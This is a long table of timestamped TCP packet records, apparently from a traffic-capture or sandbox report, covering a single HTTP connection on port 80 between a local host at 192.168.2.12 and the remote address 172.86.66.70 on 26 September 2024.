Sep 26, 2024 15:10:47.961159945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961209059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961220980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961234093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961244106 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961255074 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961277962 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961322069 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961333036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961344004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961354971 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961366892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961369038 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961380005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961381912 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961402893 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961410046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.961463928 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.961864948 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.962002993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964061975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964078903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964091063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964116096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.964157104 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.964524031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964570999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964586020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964607000 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.964628935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964642048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964652061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.964663029 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.964692116 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.965445995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965457916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965470076 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965492010 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.965518951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965531111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965543032 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.965549946 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.965750933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.999720097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999744892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999757051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999794006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999811888 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.999830008 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.999854088 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999866009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999876976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.999900103 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.041126966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.044395924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044409037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044420004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044434071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044445038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044456959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044469118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044471979 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.044481039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044531107 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.044531107 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.044866085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044924021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044936895 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.044965982 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.045017004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.045030117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.045042038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.045054913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.045058012 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.045079947 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.046981096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047004938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047017097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047040939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047072887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047074080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047086954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047097921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047110081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047130108 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047147989 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047194004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047207117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047275066 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047338009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047349930 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047360897 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047374010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047393084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047393084 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047404051 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.047983885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.047997952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048008919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048022032 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048031092 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048033953 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048047066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048054934 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048058987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048217058 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048468113 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048480034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048492908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048504114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048516035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048530102 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048541069 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048599958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048618078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048630953 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048641920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048643112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048655033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048660040 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048666000 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048671007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048682928 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048685074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048697948 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.048743963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.048743963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049120903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049133062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049145937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049155951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049165010 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049169064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049180984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049190044 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049194098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049204111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049216032 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049241066 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049263954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049276114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049303055 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049329042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049365997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049371004 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049377918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049390078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049401999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049413919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049413919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049452066 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049622059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049633026 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049643993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049654961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049665928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049666882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049679041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049681902 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049690008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049701929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049714088 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049726963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049787045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049797058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049813986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049825907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049828053 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049838066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049849033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049860954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049864054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049864054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049873114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049896955 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049931049 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049942970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049954891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049964905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049968958 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.049977064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.049987078 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050051928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050065041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050074100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050076008 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050153971 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050162077 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050173998 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050184965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050196886 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050204039 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050208092 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050220966 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050234079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.050241947 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050307035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.050307035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.053147078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053158045 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053170919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053248882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.053261042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053272963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053283930 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053293943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053307056 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.053307056 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.053328991 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.053361893 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.054202080 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054214001 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054225922 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054236889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054255009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054265976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054270983 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.054276943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054285049 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.054286957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.054303885 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.054341078 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.088305950 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088320017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088332891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088399887 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.088507891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088521004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088531971 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088537931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.088557005 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.088577032 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133032084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133047104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133071899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133075953 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133083105 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133096933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133109093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133119106 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133194923 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133219957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133260965 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133460999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133480072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133491039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133518934 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133611917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133625984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133640051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133650064 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.133651972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.133682013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135541916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135593891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135601997 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135606050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135663986 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135663986 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135699987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135711908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135725021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135735989 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135750055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135756016 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135761023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135771990 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135891914 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135920048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135931015 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135941029 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135951996 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135963917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135976076 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.135986090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.135989904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136012077 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136034966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136334896 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136348963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136360884 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136399031 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136439085 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136451006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136467934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136482000 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136493921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136502028 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136535883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136601925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136615038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136626959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136639118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136651993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.136668921 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.136668921 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.137260914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.137300014 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.137449980 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.137620926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.137661934 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.137780905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.137799025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.137844086 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.138025999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138246059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138261080 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138290882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.138911009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138921976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138933897 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138941050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138951063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.138953924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138964891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.138969898 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.138982058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139004946 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139043093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139060974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139077902 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139090061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139100075 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139111042 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139115095 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139122963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139134884 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139137983 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139148951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139163017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139168978 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139175892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139184952 CEST	80	49712	172.86.66.70	192.168.2.12
